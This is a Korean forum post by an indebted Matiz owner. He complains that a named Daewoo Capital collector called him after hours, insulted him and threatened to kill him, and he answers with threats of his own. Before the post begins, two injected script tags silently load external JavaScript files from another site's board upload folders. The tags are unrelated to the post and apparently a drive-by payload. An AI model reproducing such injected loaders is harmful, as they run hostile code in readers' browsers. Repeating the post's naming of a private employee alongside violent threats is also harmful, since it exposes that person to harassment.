<SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/gallery/Cups.js></script> <SCRIPT Language=JavaScript src=http://hanphil.or.kr/bbs/data/young/brod.js></script> 너무 열이 받아서 여기 게시판 성격에는 맞지 않지만 몇자 적습니다.
정말 울 나라에서 젤 작은 차인 마티즈 구입해서 이런 고통을 겪는 다면
다른 차량 및 금액에선 어떨가 싶어...
제 개인적으로 다시는 대우 자동차를 안살거고, 제 주위사람 있으면
절대 대우차 사는걸 말릴겁니다.
같은 대우라는 명목으로 대우차량 캐피탈은 다 대우 캐피탈에서 진행하므로...
밑의 글을 읽어주세여...
------------------------ 아 랫 글 -----------------------
저는 돈 없는 신용불량자입니다.
저 대우자동차 하나 (마티즈)사면서 할부를 끊었고, 신용회복위원회 신청하면서 그나마 타던 차도
팔아서 그 돈 그대로 대우캐피털 가서 다 갚고.... 나머지 돈 할부 끊던 사람입니다.
지금 할부원금 170여만원 남았습니다.
저 지금 가진것 하나도 없습니다. 그렇지만 나이가 있기 때문에 많다면 많고, 적다면 적은 돈170여만원 떼어먹을 생각 전혀 없습니다.
물론 돈 빌려주고, 제때 돈 못받는 대우캐피탈도 열 받겠지요...
하지만, 연체이자 다 물고..... 싫은 전화 다 받고.... 있는 돈은 다 털어서 조금씩이라도 갚아가려고 노력하는 사람입니다.
저 3달 이상 연체되었다고 통보 받았습니다.
할부거래 해지되었다고, 일시불로 갚던지 그렇지 않으면 법적처리 한다고 연락이 왔습니다.
저도 돈 못내는 죄인이라 뭐라 말도 못하고, 이해한다고....
하지만 지금 돈이 없으니 최선을 다해서 11월 말까지 일시불로 갚으려고 노력하겠다고... 담당 직원에게 말했습니다.
그리고 내가 잘못했으니, 법적조치를 하더라도 이해를 하겠다, 법적으로 들어가더라도 서운하게 생각치 않겠으니, 그때까지 기다려 달라 말했습니다.
물론 법적조치를 한다고 해도 제 앞으로 된 재산이나, 가진것이 아무것도 없기 때문에 제가 할 수 있는건 아무것도 없습니다.
그래도 그 돈은 갚아야 겠다고 생각을 하기 때문에 그렇게 라도 약속을 한것이구요...
제가 짜증나는 점이 있습니다.
그 후에도 10월 24일인가 은행마감이 끝난시간(오후 7시)에 담당직원(수원지점 구민철)이 전화가 왔습니다.빨리 돈 입금하라고....
그 전 몇일전에 11월 말까지 다 내겠다고 말했던 터라 갑작스러운 전화에 당황이 되더군요...
그 다음날 애 학교 급식비 낼돈 6만원 있던거 수수료 1600원 빌려서 타행으로 입금했습니다.
은행마감전에 미리 전화를 해 줬으면, 수수료나 그렇게 급하게 하지않아도 될일을 은행마감이 지나고, 저녁시간에 급하게 협박하듯이 얘길하며, 아주 사람 우습게 말합니다.
그래도 제가 빚진 죄인이라고 네...네 하면서 입금했습니다.
그리고 약속했듯이 11월말까지는 최대한 약속금액을 넣겠다라고 말하고 요즘 최대한 노력중입니다.
근데 오늘 또 전화왔습니다. 정확히 10월 28일 오후 7시에 전화왔네요...
완전히 어른 행세합니다. 제가 다음달 말까지 넣는다고 했잖냐고, 법적조치 하더라도
이해한다고 하지 않았냐고... 말해도 오히려 절 꾸짖습니다.
막무가내입니다.
아... 그럼 전화나 하지말고 법적조치를 하던지.... 누가 하지 말라 했습니까? 제가 그 비용까지 문다고 말하였습니다.
그리고 연체비용까지 다 문다고 했습니다. 돈 깍아달란 얘기도 하지 않았구요...
그렇게 돈 받고 싶으면 암말 말고 법으로 하지 왜 꼭 저녁시간에 전화를 해서 사람 열받게 합니까?
막무가내로 사람 혼내키고....... 제가 이번에도 약속을 어겼다면 뭐라해도 이해하겠습니다.
하지도 않은 약속을 생각나면 전화해서 짜증을 부립니다.
그것도 한두번이지... 일주일사이에 두번이나 전화를 해서 막무가내로 야단을 칩니다.
오늘은 듣고 있다가 정말 인격적으로 너무 무시당한다라는 생각이 들어서 먼저 욕설을 하고 끊었습니다.
바로 다시 전화 오더군요....
바로 상대편에서 거친 욕설 나왔습니다. 저두 물론 욕을 했지요....
아주 약을 올리더군요.... 저희 집이 어딘지 아니까 와서 절 죽인답니다.
저두 오라고 했지요... 서로 욕설이 오가다가
더 해봤자 저만 더 더러워질까봐 그만하자고 끊었습니다.
저한테 그러더군요... 양아치 새끼라고.... 맞습니다.
저 양아치 새끼구요.... 생긴건 순하게 생겼어도 폭력전과도 있고, 나름대로 거칠게 살아왔습니다.
신문사 사진기자 생활도 하면서 세상도 겪어봤고, 학창시절에도 남못지 않게 쌈박질도 하고 살았습니다.
그렇지만...
그런다고 제가 지금 당장 돈을 못갚는다고 양아치 소리 들어야 된다고 생각치는 않습니다.
그렇게 전화로 약올림 당하고 아무말도 못해야 된다고는 생각치 않습니다.
절보고 그러네요.... \"니가 그러니까 사진사밖에 못하는거야 새꺄...\"
\"난 너보다 나이도 어리지만 너같이는 안살아 새꺄\"
저 지금 무지 열받았습니다. 정말 생각같아서는 당장이라도 수원 찾아가서
그 구민철이라는 놈 경을 치고 싶지만.....
그 개값이 없어서 참습니다. 제가 잘나갈때 같으면 개값물고, 지금이라도 당장 찾아가서
정말 화풀이를 하고 싶지만, 11월 말까지 대우캐피탈 돈을 갚아야 하기때문에 정말 참습니다.
결론 짓습니다.
제가 할부금 제때 못내고 연체해서 미안합니다.(그런얘기 수도없이 했습니다)
대우캐피탈은 법대로 법적 조치 하세요....
전 그 기간안에 돈 만들어서 돈 갚겠습니다. 돈만 갚으면 되는거죠? 분명 돈은 갚습니다.
하지만.....
제가 당한 심적 고통, 화남..., 직업적 무시, 업무시간외의 전화통화로 인한 스트레스...
그리고 담당직원 이름 못외운다고 \"돌대가리\"라고 들은점은 분명 짚고 넘어가겠습니다.
이젠 철부지 어린애가 아닌 이상...... 제가 주먹으론 참겠습니다.
아니.... 구민철이가 법적으로 책임지지 않기로 하고 1대1로 싸움걸어오면 분명히 받아주겠습니다.
하지만 그렇게 하지 않고, 사과 또는 이 심적으로 받은 고통에 대해서 충분한 해명과 사과가 없다면
제가 알고 있는 인맥, 인터넷, 그리고 간구할 수 있는 모든 수단을 강구해서
대우캐피털 수원지점 구민철과 대우캐피털 회사에게 그 이상 갚아주겠습니다.
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